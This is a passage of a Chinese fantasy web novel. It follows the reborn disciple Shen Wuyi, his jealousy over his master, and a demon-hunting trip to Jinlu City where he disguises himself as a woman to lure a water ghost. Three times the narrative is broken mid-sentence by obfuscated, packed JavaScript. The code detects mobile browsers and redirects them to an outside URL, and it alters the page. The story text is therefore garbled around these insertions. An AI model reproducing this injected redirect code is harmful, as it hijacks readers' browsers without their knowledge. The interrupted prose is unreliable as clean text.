穆仪枫咂了一下嘴:“没事儿就不能找你了吗?我是听说你病了,特地来慰问你一下。你说说你这身体,怎么三天两头地出毛病。” “已经好的差不多了。” “那你快来找我喝酒!”穆仪枫嗓音说:“顺便切磋一下,好段时间没有痛痛快快地打一场了!” 沈无一正也想喝酒,刚准备答应,陆朝阳就一把推开了他的院门,两眼炯炯有神地看着他:“师兄!你猜猜看今天谁来了?” 沈无一:“谁?” “云旎仙子!” 听到这个名字,沈无一一愣,一些回忆浮出脑海。云旎仙子是观雪峰峰主辛楚的师妹,与同尘也算是有旧谊。她虽然从未说过,但几乎所有人都看得出她对同尘有意。 二人站在一起,一位丰神俊朗尊贵无匹,一位温柔如水顾盼生姿,连辛楚都下场撮合过他们,虽然同尘拒绝了,但他们依旧是别人眼里天造地设的一对。 沈无一曾经很不喜欢她,他少年心性,嫉妒心也强烈,总觉得云旎是要抢走自己的东西,危机感十足。 云旎擅长制作糕点,总是会带一些精巧糕点来栖鹤峰,沈无一便也去捣鼓糕点,最后兴高采烈灰头土脸地端去给同尘吃,同尘在他殷殷的注视下捏起一块送进嘴里,咽了下去。 沈无一期待地看着他:“怎么样师父,好吃吗?” 同尘沉默了一会儿,面不改色地说:“尚可。还有进步空间。” 这时温成儒路过,疑惑地盯了好一会儿他盘子里的东西,出声问他:“无一,这是你做的屎状毒药吗?做成这样会有人愿意吃吗?” 沈无一气的好几天没理他,又把糕点乔庄了一下带去给穆仪枫吃,谁知道穆仪枫吃完就两眼一翻倒在了地上,被沈无一灌了三大壶水才悠悠转醒,一醒来就掐住沈无一脖子怒吼:“你个死鬼你敢给我吃屎!” 沈无一信心破碎得彻底,从此再也没有捣鼓过糕点。 这么久过去了,沈无一觉得自己已经没有那么在意,但陆朝阳拉着他过去凑热闹的时候,他的脚还是比他的脑子先一步动了。 4. 第四章 沈无一对穆仪枫说“下次再说吧”,在穆仪枫“哎?哎?”的声音中收起纸鹤,跟陆朝阳一路跑到重华殿,钻到了一堆矮树后,朝庭院里看过去。 同尘在庭院里放置了一个石刻棋桌,他无事就会同自己对弈,掌门偶尔也会陪他下。 此刻云旎正坐在同尘的对面,她穿着一件天蓝色的素纱长裙,举手投足间都是温婉之意。她的手边放着一盒精致的糕点,正笑着与同尘谈话,眉眼弯弯,如江南春水。 两人不知说到了什么,同尘抬起头,露出了一丝很淡的笑意。 “云旎仙子以后会不会成为我们的师娘啊。”陆朝阳扒着一株芭蕉,叨叨地说:“虽然师父之前是拒绝了,但说不准之后会同意的。云旎仙子会做很多好吃的,也算是有口福了。” 他扭头看向沈无一,发现对方好像在发呆。 沈无一抠了抠胳膊上结疤的地方,眼睛虚虚地望着芭蕉叶中间的光斑:“也许吧。”反正是谁都一样。 他忍不住说:“凑这么近你是真的不怕被发现。” 话音刚落,前方就传来了一道微凉的嗓音:“你们俩躲在这做什么?” 沈无一:“……” 陆朝阳瞪大眼睛神色震惊,望着沈无一的目光有种隐隐的哀怨,好像在说他乌鸦嘴。 两人磨磨蹭蹭地站起来,陆朝阳暗暗往旁边瞅了一眼,示意向来伶牙俐齿的沈无一狡辩一下。沈无一跟他对上视线,动了下嘴唇:“恰好路过此地……” “恰好路过?”同尘声音不辨喜怒,抬眸朝他们扫来:“该修炼的时候到处乱跑,心思浮躁,谎话说来就来。” 沈无一没再辩驳,低着头:“回去我们就自己领罚。” 陆朝阳也鹌鹑似的站在一旁。点头如捣蒜。 同尘没有说话,沈无一抬眼看过去,云旎仙子已经离开了,那盒糕点还留在桌面上。 或许是他的视线在糕点上停留的时间有点久,同尘朝他看了一眼,点了点桌子说:“想吃就拿去吧,本来就是留给你们的。” 沈无一不想吃,也不想去拿,他没说话,一掌拍在了陆朝阳的背上。陆朝阳一个踉跄就到了同尘跟前,条件反射地站直身体,露出一个腼腆的笑:“多谢师父。” 他伸手将食盒揣在了怀里,声如蚊讷:“那师父,我们先回去修炼了。” 同尘夹起一颗黑子,落在棋盘上:“嗯。” 陆朝阳一手揣着食盒,一手拉着沈无一快步跑开了。 终于跑出庭院,陆朝阳喘着气,心有余悸地说:“吓死我了,师父真严肃啊。”他摊开食盒:“那这糕点我们三个分一分吧。师兄,你喜欢吃哪个味道?” “我不吃了,你跟师兄分吧。”沈无一抬手搭在眉骨上,仰头望着天空,不太舒服地眯了一下眼。 陆朝阳表情内敛:“这怎么好意思……” 沈无一睨了他一眼:“再啰里啰嗦我就把全吃掉。” 陆朝阳立马不说话了。 “我去后山练会儿剑。”沈无一放下手:“你先回去吧。” 他说完就慢吞吞地往后山的方向走去,陆朝阳抓抓头,感觉二师兄哪里怪怪的。但糕点的香气隐隐传来,他耸了耸鼻子,又喜滋滋地跑去温成儒的院子了。 同尘在后山设了一个大型幻阵给三个弟子实战练习,内设各种书上有的没的妖兽,杀完一波还有一波,难度一路攀升。沈无一在里面厮杀了一阵,出来的时候拿剑的手都微微颤抖。 他走到寒潭边,将剑扔在一旁,赤足踏进了冰冷的水中,黑发落入水中便漂浮起来。 后山郁郁葱葱,大片的绿荫遮蔽了这里,空气中的温度降下来,山上坠落下来的水流形成一个小型的瀑布,冰凉的水珠溅在了沈无一的脸上,他随手抹掉,在水中的石头上坐了下来,摆出打坐的姿势。 水温太低,他冻的嘴唇发白,深呼了一口气,闭眼无声念诵静心决:心宜气静,望我独神,心神合一,气宜相随,相间若余,万变不惊,无痴无嗔…… 他从头念到了尾,心中却完全无法静下来,思绪纷乱心境冗杂。就在他躲在芭蕉叶后,看到同尘嘴角笑容的那一刹那,他忽然再次感觉到了自己的心魔—— 他的心魔并没有因为他的重生而消失,而是始终潜藏在他的识海中,只需要一丁点的养料就能唤醒。 想来也是,他回到三年前,虽然重新获得了完好无损的身体,意识却无法回溯。该魔怔的还是要魔怔。 他睁眼看着被他放在不远处的佩剑,抬手按住了自己的心脏,喃喃念道:“万变不惊,无痴无嗔。” 他必须要恪守本心,必须要远离诱因,才能不重蹈覆辙。 …… 悬眼山突破金丹期的弟子都可以在万事堂接取任务赚取灵石,完成历练。 继温成儒、沈无一之后,陆朝阳终于也突破了金丹期,接到了一个除妖的任务。 沈无一虽已突破金丹期,但由于身体原因一直没有去万事堂,自然也没有下山历练过,同尘便让他这次和陆朝阳一起去,也可互相照应。 或许是因为他的重生,很多事情发生了一些改变,沈无一记得上一世自己并没有跟陆朝阳一起历练,不过他没有犹豫就答应了,现在他正需要这样出去静一静心的机会。 这次的任务在金鹿城,要除的妖尚不可知是什么,卷宗里只写了求助的人家遇到的事,具体情况还得到了地方才能知道。 虽然不记得上一世陆朝阳有没有完美解决,但沈无一觉得此行应该没有太大的问题,毕竟陆朝阳刚刚突破金丹期,接到的任务也不会太难。 陆朝阳紧张的一晚上没睡好,翻来覆去地数自己芥子里的法宝和符篆,说要下山之后再买一点防身。 第二天临行前,同尘将他们叫去了重华殿,给了陆朝阳一张护身符,又给了沈无一一支通体碧绿的镯子,用来净化周身魔气、压制常常暴走的经脉。 沈无一瞧见护身符上绣着一朵精致的海棠花,视线就总是落在上面,但同尘没有再给他一张的意思,应该是认为他的实力足以保护自己,而陆朝阳实力略差,确实需要护身符保护。 沈无一没有开口要,表现的一点也不在乎那张符。 陆朝阳把护身符小心翼翼地塞进胸前的衣服,忽然觉得背后凉飕飕的,一回头,就看见他的二师兄对着他露出了一个和善的微笑,虽然这笑容十分美丽,但陆朝阳还是禁不住打了个抖。 “二师兄,有事吗?”他小心翼翼地问。 “没事。”沈无一面无表情走过他身边。 陆朝阳:现在二师兄的心思可是太难猜了。 他们要去的地方,金鹿城,就在悬眼山的北面,路程大概一天,抄近路需要穿过一座山头。 二人初初开始辟谷,还未完全脱离凡人习性,他们走了一个时辰,在山路边看到了一家饭馆,正好饿了,就坐下来点了几道菜。 两人戴着斗笠,也盖不住气质卓然,尤其沈无一容貌夺目,一身白衣仙气飘飘,一看就是修仙人士。店家的态度格外热切,很快就送上来菜,还多送了一壶酒。 沈无一道了谢,将斗笠放在桌上。他们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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陆朝阳抓着自己的乾坤袋撒豆子一样地往外丢符篆,一只山鬼猛地从地底钻出,差点抓住沈无一的脚,被黑衣少年一剑斩断。沈无一来不及感谢,抬剑刺穿从陆朝阳身后扑来的山鬼。 陆朝阳咬咬牙,忍着肉痛掏出一瓶匿形粉,往三人身上一洒,追在后面的山鬼就像忽然失去目标一样顿住了脚步,无头苍蝇一样地四处打转。三人赶紧抓住机会一路往前跑,等到身后终于没有动静的时候,才气喘吁吁地停了下来。 陆朝阳往地上一坐,心疼地数着乾坤袋里的宝物,还没有到金鹿城呢,就已经用掉了一大半:“这帮山鬼真难缠。” “咱们此行说不定还会遇到更麻烦的。”沈无一说。他平稳了呼吸,朝站在一旁的黑衣少年走过去。 方才若不是黑衣少年突然摔碗,他们没有那么快勘破幻境。他本可以自己离去,摔碗多半是为了提醒他们。 他能感到对方也是金丹期的修为,但剑术纯然造极,剑招果决肃杀,绝非杂念过多之人可以练成,是个剑道的好苗子。 沈无一对着黑衣少年一拱手:“方才多谢道友出手相助,在下悬眼山弟子沈无一,这位是我师弟陆朝阳。不知道道友该怎么称呼?” 黑衣少年转过身来,他的长相是一种惊心动魄的俊美,剑眉星目,挺拔如松。头发和眼珠都乌黑,束着高马尾,箭袖轻袍,腰间系着蹀躞带,少年气十足。 他似乎不爱多言,简单回答道:“剑宗,连城。” 5. 第五章 原来此人是剑宗弟子。沈无一知道剑宗的宗主就姓连,此少年天赋绝伦,应当是本家子弟。 沈无一斟酌了一下,问道:“连道友走这条路,是否是去往金鹿城?” 连城轻衣简行,身上连个包袱都没有,只背着两把剑。他嗓音清淡,点头道:“是,我接到了金鹿城的任务。” “好巧,我们也是。”沈无一拍了一下手掌。心想他跟陆朝阳一个菜鸡一个半魔,路上多一个人也好多一份保障,再者难得见到这么天才、性格还不傲的人,他还挺想结交的,便说道:“相遇即是有缘,我们不妨结伴同行,也好互相照料。连道友觉得如何?” 连城思考了一下,点了点头:“可。” * 商议好之后,三人便结伴一同下山。 晚间的时候他们找了间破庙凑合着歇息了一下,轮流看火,防山间野兽精怪。 后半夜,沈无一坐在火堆前,下一个守夜的是连城,但是他懒得去叫了,总之也不困,就撑着腮用树枝捣着火堆防止熄灭。 身后传来一阵衣物的窸窣声,连城起身坐到了他身边:“为何不叫我?” 沈无一扭头朝他看过去,火光映着对方侧,剪影和他的剑一样干净利落。他笑道:“我不困。你还在长个子呢,让你多睡会儿。” 连城的脸颊似乎绷了一下:“剑宗向来奉行苦修,我无需多睡,也不会影响到我的身高。” 沈无一忍住笑:“抱歉抱歉,无意冒犯。你已经很高了。” 他说的是实话,连城看着比他小个几岁,大概跟陆朝阳差不多,身量却很高,已经超过了他,站在一旁像一棵挺拔的雪松。 连城摇了下头:“无事。” 林中寂寂无声,沈无一抬头朝不远处火光能映照到的那片树林看过去,忽然说:“你吃果子不?我看到这里有棵李子树,结了不少大李子。总之咱都睡不着,不如吃点东西打发时间。” 连城还没回话,他就已经站起身朝不远处的李子树走过去。身形轻盈地掠上了树,拿衣摆接着,装了一兜回来。 他拿了块布垫在地上,将李子都放在上面,说:“虽然没洗,但是俗话说不干不净吃了没病。咱们都是修道之人,也不需要那么讲究。” 他说着就拿起一颗饱满的李子在衣服上蹭了蹭,然后嘎嘣一口咬了下去。 连城看他吃的很香,问:“甜吗?” 沈无一毫不犹豫地说:“甜。” 连城便伸手拿了一个较红的李子,在衣袖上擦了擦,然后送进嘴里,表情凝固了一瞬,然后咽了下去,抬起头看向沈无一,皱眉道:“不甜。” 沈无一噗嗤一声笑出来,连城一路上都寡言少语,性子不似同龄少年那般活泼,有种少年老成的板正淡漠,但有时候的反应还挺好玩的,就让人想逗一逗。 他没什么心理负担地说:“忘记说了,我的味觉比较独特,喜欢吃酸的东西,别人觉得甜的东西我都觉得齁。” 连城闻言愣了一下,看起来倒也没有很生气:“是吗?” “真的,我不是故意戏弄你,只是一时没想起来。”沈无一从李子中挑出几个递到连城手里:“这几个应该是甜的,不骗你。” 连城没说话,他接过李子,坐在一旁默默地吃起来。沈无一的良心后知后觉地痛了一下,又给他挑出来好几个甜的。 天亮起来,沈无一熄灭了火堆,把呼呼大睡的陆朝阳叫了起来,三人继续赶路。 行过一段山路,眼前终于豁然开朗。金鹿城四通八达,包罗万象,来往的商客都会在这里停留,造就了一片繁荣景象。 算上上一世,沈无一已经不是第一次下山了,山下五花八门的东西对他来说不算稀奇,陆朝阳却是踏入仙途后的第一次下山,看到什么新奇的东西都要多看两眼,又多买了不少法宝,说是以备不时之需。 他买完东西,一转眼,发现沈无一正站在一家摊子前,对着一条金色的剑穗发呆。 “你要换剑穗?”陆朝阳热心地提出意见:“但是和锻心的颜色不太配,不如你买这条蓝色的吧!” 沈无一瞅他一眼,没说话。陆朝阳看他片刻,忽然神奇地理解了他的意图:“奥,你是想给师父买的,对吧?太古配金色倒是很不错。” “我就不能给自己买?”沈无一忍不住说:“锻心配金色难道很丑吗?再说师父也不缺人给他买剑穗了。” 陆朝阳一呆,然后思索着点点头,认同道:“你说的也是,不过还是蓝色更配锻心啊。” “少废话。” 沈无一站在摊前片刻,最后还是买下了那个金色的剑穗。 他将剑穗放进乾坤袋里,一扭头,见连城站在一边,没有要买什么的意思,便上前道:“连道友。” 连城皱眉站在原地,神色朦胧不清,不知道在想什么,听见沈无一问的声音,转头静静看向他。 沈无一问:“你接的是哪家任务?” 连城掏出卷轴递给他,说:“金鹿城城主许旸之。” 陆朝阳凑过来,惊讶地睁大眼睛:“这真巧了,我们也是!” 沈无一说:“看来金鹿城城主不止求助了一家门派。” 这不是什么稀罕的事情,有的人遇到麻烦事为求稳妥会求助不同的门派。大部分时候没什么,但若是求助的两家门派有旧仇,或者接了任务的修士有旧仇,那就比较麻烦。 三人很快找到了城主的住处,拿出卷轴让侍卫去通报。 没过一会儿,许旸之就带着亲信亲自迎了出来,他身材干瘦,脸上笑起来时眼角的纹路堆积在一起,殷切地上前说:“各位仙人,可算是等来你们了!鄙人有失远迎,为表歉意,诸位先去我院里喝杯茶,歇息一下吧。” 他说完拍拍手,一群侍女便上前将他们带进了后院的亭子中。 金鹿城不愧是最富的几个城之一,城主家自然也修建的十分气派,外面曲水流觞,假山藤萝,还挖了一片池塘纳凉,不时有年轻的侍女们端着银盘从小路中穿过。 他们在亭中坐下,很快就有人送来了茶水和糕点。沈无一没动糕点,只喝了点茶,率先问道:“卷轴上说,城中总是有女子失踪?” 连城和陆朝阳都朝许旸之看去。 许旸之便放下手中茶杯,叹了口气说:“是的,从前些年开始,就总是有女子突然失踪,大都是十八九岁的年纪。第一位失踪的女子隔了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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许旸之连连点头,眼角的皱纹更深:“好,好,年纪轻轻便有此修为,真是天赋绝伦啊,妒娘对三位来说一定不成问题。” 他端起茶杯喝了一口,却忽然突兀地咳嗽起来。他咳得厉害,整个身体像是风中残烛一样左右摇晃,指缝间渗出鲜血。府宅管事赶紧上前,将一枚红色的药丸送入他口中,许旸之哆嗦着手灌了口茶将药丸咽下去,缓了片刻,脸上才终于恢复了一丝血色。 沈无一迟疑地说:“城主,您这是……” “没事,老毛病了,让诸位见笑。肉体凡胎,就是脆弱不堪呐。”许旸之伸了一下手,一旁的侍女便递上来一块干净的手帕,许旸之擦了一下嘴角和指缝中的血迹,声音虚弱地说:“今天是我们金鹿城一年一度的彩灯会,我需要去安排诸多事宜,得先去休息一会儿才好劳力,待会儿刘管事会代我招待你们,有什么要求尽管向他提就是。” 沈无一理解地点点头。 他站起身,管事立刻扶住他的胳膊,许旸之言辞恳切:“我家中小女也快到岁数,我这个做父亲的难免忧心。此事就拜托给各位仙友了,事情解决,大家才能安心过好这个节日啊。” 沈无一点头:“您放心,我们定当尽我们所能。” 许旸之说着:“这就好,这就好。”便在管事的搀扶下颤颤巍巍地离开了。 陆朝阳小声说:“这位城主怕是没有几年好活了。” 沈无一深以为然,许旸之看上去明明正值中年,可身上却有一股将行就木的腐朽气息。 “听城主的意思应该是希望我们除掉那只‘妒娘’。”沈无一想了想,说:“反正现在也没有其他的线索,不如先去城西河畔看看?” 6. 第六章 刘管事很快去而复返,沈无一便找他问妒娘的事情。 刘管事毕恭毕敬地站着,想了一下,回答说:“我也知道的不多。但据说她专门杀害貌美的女子,若是携一名女子前去,说不定可以诱使她动手。” 沈无一沉吟片刻,觉得这个法子不太行,先不说这样危险的事情,有没有姑娘愿意去,二者他们还不知道这位“妒娘”的实力,若是在他们之上,就算有姑娘愿意冒着风险做诱饵,到时候偷鸡不成蚀把米,把人家姑娘害了怎么办。 他摇摇头:“妒娘有什么害怕的东西么?或者什么喜爱的东西。” “这在下倒不是很清楚,见过妒娘真容的人不多,”刘管事很抱歉地说:“不过因为妒娘是投河自尽,所以无法离开水域,她的警惕性很强,之前我们也请过一些修士大动干戈地去对付她,但她一直未曾现身,反而掀起河水将临近的土地都淹了,护城河又面积太广,无法搜寻。三位若是想要抓住她,还是不能来硬的。” 沈无一凝眉,确实颇为麻烦,到时候打着打着她钻回老巢了,找又找不着,岂不难受。看来只能用貌美的女子诱他出来了,但是现在哪里去找貌美还能打的女子! 他又问:“那城中现在有没有比较厉害的女修士?” 刘管事摇了摇头:“前几日倒是路过一位,但问了几句话就离开了。” 沈无一忍不住掐了一下眉心。怎么全是死路! 几人陷入沉默,陆朝阳咬着手指思索片刻,忽然想到了一个法子,他一拳锤在掌心:“等等,咱们可以男扮女装啊!这妒娘看外表又看不出咱们是男是女!” 他话音刚落,三个人沉默地对上了视线,过了片刻,又不约而同地移到了沈无一脸上。 一阵恶寒从沈无一的脚底升了上来,他忍不住森森地微笑:“看我做什么?” “师兄,我虽然算不上丑,但是也和美貌沾不上边啊。”陆朝阳扭捏道:“连道友高眉深目,怎么打扮看起来都不会像是个女子,只有你,师兄——” 在场的人里好像确实只有沈无一最合适。他的眉眼弧度比较柔和,看起来非常慈眉善目、仙风道骨,但熟悉他的人都知道他非但不慈眉善目,也不仙风道骨,从小就上树掏鸟、下河摸鱼、寻衅滋事,是个混世魔王。 刘管事打量了他一会儿,也忍不住开口:“确实比较适合。” 沈无一嘴角一抽沉默下来,最后深呼了一口气,艰难地说:“好吧,但要是最后把妒娘吓跑了我可不背锅。” “哪儿能呢师兄!” 想到解决办法,大家都轻松下来。 因为沈无一比一般的女性要高壮些,刘管事叫人来量了一下他的身高腰围,给他量身定做一套衣服,还选了许多样式图给沈无一看。 陆朝阳指着其中一件兴奋说:“师兄,这件粉色的裙子好,旁边还有许多飘带!到时候走起来一定是步步生莲、翩若惊鸿!” 连城看了一遍,指向另一件说:“这件蓝色更适合,款式简练,端庄大方,也不影响拔剑。” 二人各执己见,沈无一脑袋嗡嗡响,太阳穴直跳,目光冰冷地望着二人。 连城闭上了嘴,陆朝阳瑟缩了一下,默默让了位置,讪笑道:“师兄,你选。” 沈无一扫了一眼,最后选了蓝色的那件。 “衣服大概要两个时辰左右做好。”刘管事说:“诸位还有什么需要的吗?要是想在府中逛逛也可以,但内院是城主住的地方,还是不要去为好。” 沈无一要来了受害女子的档案,三人围在一起将所有的受害人信息翻看了一遍。他们发现受害人的年龄并不局限在少女,也有一些年龄较大的,经历也比较杂乱,重合的地方不多。 “随机杀人吗?”陆朝阳说。 “不好说。”沈无一说:“现在我们了解的不多,先去妒娘那里看看再说吧,我总感觉凶手不止一个。” 外院种了很多的树,绿荫遮天蔽日。沈无一忽然突发奇想地问:“你们懂风水吗?” 陆朝阳摇了摇头,摊开手:“咱们又不修卦象和风水。” 连城说:“略懂一二。” 沈无一便问他:“那你能感觉到这院中的风水是什么格局么?” 连城环视一圈,片刻后说:“房屋前窄后宽,可以藏风聚气。水木相生,阴阳调和,青龙方突出,是聚财生福的格局。” “这么说还挺好的?”沈无一转了一下手腕上的镯子,从刚才起他的经脉就隐隐有些闷痛,怀疑是这院中的风水有些不好。不过他的经脉经常隔三差五地出问题,也不能确定就是哪里不对劲。 “不过这只是外院的格局,内院的布局我们无从知晓,这座宅院很大,不好从整体推断。”连城说:“你感觉哪里不对吗?” 沈无一有所保留地说:“就是感觉有些不太舒服,可能是水土不服吧。” 他的经脉问题关系到他的魔族血脉,还是少说少错。 这时握着大红绸布和烟花的侍女们匆匆从他们面前走过,陆朝阳好奇地盯着他们手里的东西,转头说:“要不我们出去逛逛彩灯会吧?起来很热闹的样子,说起来,我都好久没参加过凡间的节日了。” 现在正好无事,出去看看也好。沈无一和连城都表示同意。 三人和刘管事说了一声,便出门去逛灯会。 金鹿城的百姓们对彩灯会非常重视,街上的人满满当当,都是出来逛灯会的。屋檐上都挂着鲜艳的彩幡,现在天色已经开始昏暗,很多摊子前五花八门的灯笼都被点亮了,远远望去像是漂浮在空中的星海。 虽说城中偶尔会出现事故,但街上出游的女子还是不少的,她们都戴着面纱,身着节日裙装,巧笑倩兮,风中传来阵阵笑语。可见众人对城主都颇为信任。 陆朝阳满眼放光地走在最前面,沈无一和连城并肩而行,跟随着人群一路走到了桥边。 桥上聚了很多灯笼小贩,有猜字谜的、送情侣的,还有夹在中间,卖首饰、糖人的,桥下还有很多人在水面上放花灯,笑声传来,热闹非常。 “哇塞!”陆朝阳激动地在各个摊子前晃悠,举起一根发簪给沈无一看:“师兄,这发簪好精致啊,等会儿给你戴吧!” 沈无一婉拒:“谢了不必。你喜欢可以自己戴。” 他往前走,看到了一个海棠花形状的灯笼,脚步略微停顿,就这么一个空挡,老板就看出了他的迟疑,立马上前招呼道:“小兄弟!看你长得俊,猜对这个字谜,我就把这灯笼送给你怎么样!” 沈无一情不自禁停下脚步:“字谜是什么?” “你可听好,这字谜是:一边是红,一边是绿,一边喜风,一边喜雨。猜是什么字?” 沈无一思索了一会儿,回答:“是‘秋’字,绿禾喜雨,野火迎风。” “哎呀!对了,正是秋,你猜的可真快!”老板笑起来,信守承诺地将灯笼递给了他。 沈无一接过精致的海棠花灯笼,眉眼笼在花灯朦胧的光晕中,眼角有淡淡的笑意。 方才猜字谜的时候连城就一直站在他身边,此时看向他,问道:“你很喜欢海棠花?” “嗯。”沈无一没否认。他举着花灯,显得很高兴,一会儿摸摸花瓣,一会儿凑近了看,显然很喜欢这个灯。连城便不再说话了,只是安静地站在他身边,偶尔朝他投过去一眼。 沈无一欣赏够了,就将海棠花灯收进了储物袋中,跟老板搭话:“你们应该对城主很敬仰吧?” “那当然,城主十分亲民,建了好几处施粥棚,救助那些无家可归之人,我们都很尊敬他。”老板语气忽然变得十分惋惜:“只是可惜城主操劳过重,年纪轻轻身体就垮了。城主夫人和小姐也都因为急病去世,城主对她们情深义重,至今未续弦,真是天意弄人啊。” “城主夫人和小姐是什么时候去世的?”沈无一问。 “有好些年了吧,城主刚上任没两年就去世了,或许是遗传病,前任城主也是偶发急病去世的。” 沈无一拧着眉头,感到了一些可疑的地方:“城主是上门女婿?” 老板点点头说:“是啊,不过英雄不问出处嘛,城主上位后金鹿城更有钱了,谁在乎城主的出身呢?” “确实如此。”沈无一笑着说:“我也看金鹿城百姓富足,安居乐业,猜想城主定是位德高望重之人。” 他谢过老板后,又和连城继续并肩往前走。 “你对城主有疑虑?”连城问他。 “也不算吧。”沈无一望着前方的花灯说:“就是见过的人多了,有点敏感。多知道些事总是没错的。” 陆朝阳已经将整座桥都逛完,兴奋地从桥那头朝他们跑过来:“师兄,连道友,我们一起去放花灯吧!我看那边好多人在放,很好有意思!” 他说着就一人手里塞了一个花灯,然后急吼吼地拉着他们占了一个临河的地方。 岸边已经站满了人,都三五成群地聚在一起,一边放花灯,一边虔诚地许愿:“愿河神保佑来年风调雨顺,稻谷丰收。” 花灯上可以写上愿望,陆朝阳快速写好了“希望早日突破元婴期”,然后就扭着头去看沈无一的。 沈无一瞥他一眼,换了个边继续写。 陆朝阳咕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14006049|148535||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哝:“小气。” 连城也很快停了笔,陆朝阳凑过去一看,对方没躲,上书“此行顺利”,字体飘逸,笔锋凌厉。 “你就许这个愿啊。”陆朝阳搔搔脑袋:“总感觉有点浪费。” 连城说:“我没有什么想许的愿望。” 陆朝阳瞪大眼睛:“啊?怎么会?你没有什么想要的东西吗?” 连城摇了摇头说:“太轻的愿望可以靠自己实现,太重的愿望藏在心间就好。” 这个回答倒也挺符合连城的,他看起来就是一副求真务实的苦修形象,肯定不屑于将愿望寄托在这种虚无缥缈的方式上。 不过沈无一倒是信的,他重生之后就觉得上天有灵,或许真的可以听到他们的声音。 恰好此时城中放起了烟花,“嘭”地一声后,一大簇绚烂的烟火在夜幕中绽开,一个接一个。 路人皆驻足观望,响起此起彼伏的赞叹声。 沈无一也抬起头,望着灯火葳蕤、人群熙攘的人间,也仿佛被这样的热闹触动。人间烟火何其珍贵,只有活着,才会时时有这样新鲜的感受。 写完愿望,他们将花灯放入河中,看着它和其他的花灯一起飘向远方。 * 结束赏灯之后,沈无一同陆朝阳连城返回城主府邸。 衣裳已经做好,剪裁都颇为精细。沈无一认命地换上了,妆娘给他编了发髻,又在他的脸上稍稍修饰了一下,等他转过身面向众人的时候,整个屋内安静的只能听见此起彼伏的呼吸声。 只见他穿着款式简练的蓝色交领襦裙,外面披着一层薄纱,裙裾遮住了鞋面,广袖垂下。他的五官本就柔和,稍稍修饰过后,只要不开口说话,姿态端庄地站在那里,简直拿起净瓶就可以直接站到供台上去扮观音。 “哇!”陆朝阳惊叹地围着他转,拉拉他的袖子,又看看他的脸:“根本看不出来!师兄,你好美丽啊。” 沈无一又开始怀疑这个计划的可行性,只能看向唯一比较靠谱的连城:“这样真的可以?” 连城安静地注视着他,乌黑的眼珠情绪不显,他轻点了下头,“嗯”了一声。 “好吧好吧。”沈无一头一次扮演女子,觉得挺新鲜的,在原地转了一圈,头上的朱钗也跟着摇晃,他摸了摸头发,感叹道:“女子也不容易啊,天天顶着这么重的头发。” “那我们出发吧。” 三人离开城主府,穿过街巷去往城西,城内的欢庆还在继续,锣鼓喧天。 路过一幢华丽的建筑时,一个绣球忽然从天而降,稳稳地落在了连城怀中,他们抬头看去,围栏上趴着几个身着绫罗的女子,正捂嘴笑得风情万种:“郎君~要不要上来玩呀?” 陆朝阳从没见过这种场面,缓缓张大了嘴。 那绣球上还沾着香粉味道,连城神色僵硬地屏住呼吸,做不出直接丢球的举动,一时不知道该作何反应。 沈无一看了一眼他紧抿的薄唇,嘻嘻笑道:“连道友,好大的魅力呀。” 连城扭过头,耳廓微红,皱眉望着他,眼中有一点恼意:“不要笑我。” “好啰。”沈无一收了收嘴角幸灾乐祸的笑容,拿过他手里的球交给门边的小倌,从他肩膀处探出一个头,喊道:“姐姐们,我们不玩啊。” 楼上的女子们看见他,微微一怔后恍然大悟:“啊,原来是一对的。” “可惜了。好不容易碰到这么俊的。” “从没见过这么高挑的女子,身上的裙子倒是挺好看的……” 在她们的絮絮叨叨中,沈无一赶紧拉着他们跑了。 陆朝阳想到门匾上大大的“春香楼”三字,脸色立马红的滴血:“那、那是……” 沈无一摊手:“是小孩子不能去的地方。” 连城侧过脸看着因疾跑而双颊泛红的沈无一,沉默了片刻,问道:“你对那样的地方很熟悉?” 沈无一随口说:“还好,里面的曲子很好听。” 陆朝阳搓搓脸颊:“师兄,你什么时候去过这种地方的?我怎么不知道?” 当然是上辈子的事情了。沈无一说:“你不知道的事情多了去了。” 连城的眉头一直没松开,开口道:“为何要去这种烟花之地?于得道无益。” 沈无一看着他脸上严肃的表情,忍不住笑出声:“剑宗都是古板么?我只是不小心走进去的,在里面听了支曲子就离开了,什么也没做。” 连城说:“日后还是莫去为好。” 沈无一敷衍地嗯嗯两声,看着眼前宽阔的河道,说:“到地方了,我们待会儿要怎么行动?” 7. 第七章 他们在河边绕了一圈,河面上都没有任何的动静。 陆朝阳嘀咕:“怎么回事,我师兄这还不美吗?难道是需要那种妖艳型的?” 沈无一拧眉盯着无风无浪,堪称死寂的河面,对自己的美貌没有任何的怀疑,那一定是其他的什么地方出了问题。看来这位“妒娘”并非是单纯地只对貌美女子下手。 他略一思忖,看向身边二人,做出权衡后,在心中对连城说了句“多有得罪”,便状似柔若无骨地往他身上一靠,大声道:“啊呀!公子,我们这么晚出来幽会,夫人知道了不会怪罪我吧?” 陆朝阳扭头惊悚地看向他,不知道师兄这是突然闹哪出。又紧张地看向连城,总觉得这位连道友看上去不太好惹的样子。 但连城只是在短暂的愣怔之后,很快地跟上了沈无一的想法,虽然身体是僵硬的,但他仍旧配合地说:“……她已经人老珠黄,比不上娘子年轻貌美,不用管她。” 陆朝阳也终于反应过来,快速地给自己找好了角色,掐着嗓子谄媚地说:“少爷,我在夫人的汤碗里加了蒙汗药,她现在正在睡着呢,保准发现不了!” 